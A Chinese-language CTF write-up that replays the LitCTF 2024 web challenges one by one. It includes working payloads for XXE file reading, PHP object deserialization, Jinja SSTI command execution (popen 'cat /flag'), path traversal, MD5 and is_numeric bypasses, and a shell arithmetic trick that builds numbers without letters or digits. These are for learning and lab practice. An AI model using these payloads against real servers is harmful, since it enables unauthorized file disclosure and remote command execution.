LitCTF2024web复现
exx
查看源码,发现

可以判定考的是XXE,抓包,payload:
<!DOCTYPE ANY [ <!ENTITY admin SYSTEM "file:///flag"> ]> <user><username>&admin;</username><password>admin</password></user>
送包,获得flag。

SAS - Serializing Authentication System
简单的反序列化。
exp:
<?php class User { public $username; public $password; function __construct($username, $password) { $this->username = $username; $this->password = $password; } function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; } } $a=new User("admin","secure_password"); echo base64_encode(serialize($a)); ?>
得到flag。

一个....池子?
输入{{7*7}},获得回显。

说明存在SSTI。试了几次,这到题没啥过滤。直接上payload:{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
得到flag。

浏览器也能套娃?
随便试了一下,file伪协议,file:///flag就出了。

高亮主题(划掉)背景查看器
提示有文件包含漏洞,抓包,发现POST传参theme,先传个index.php,发现路径错误。

猜测存在目录穿越漏洞,传参theme=../../../../flag,得到flag。

百万美元的诱惑

先是MD5数组绕过,然后是不可见字符%00绕过is_numeric()函数,payload:?a[]=1&b[]=2&c=2025%00,得到文件路径./dollar.php。

过滤了数字、字母和许多字符,但是没有过滤$、(、)、字符,在linux中$(())表示0,取反$((~$(())))得到-1,可以用来构造数字。
构造13个-1。
$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))

再取反。
~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))

最后执行得到12。
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

GET传参:
?x=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
得到flag。


浙公网安备 33010602011771号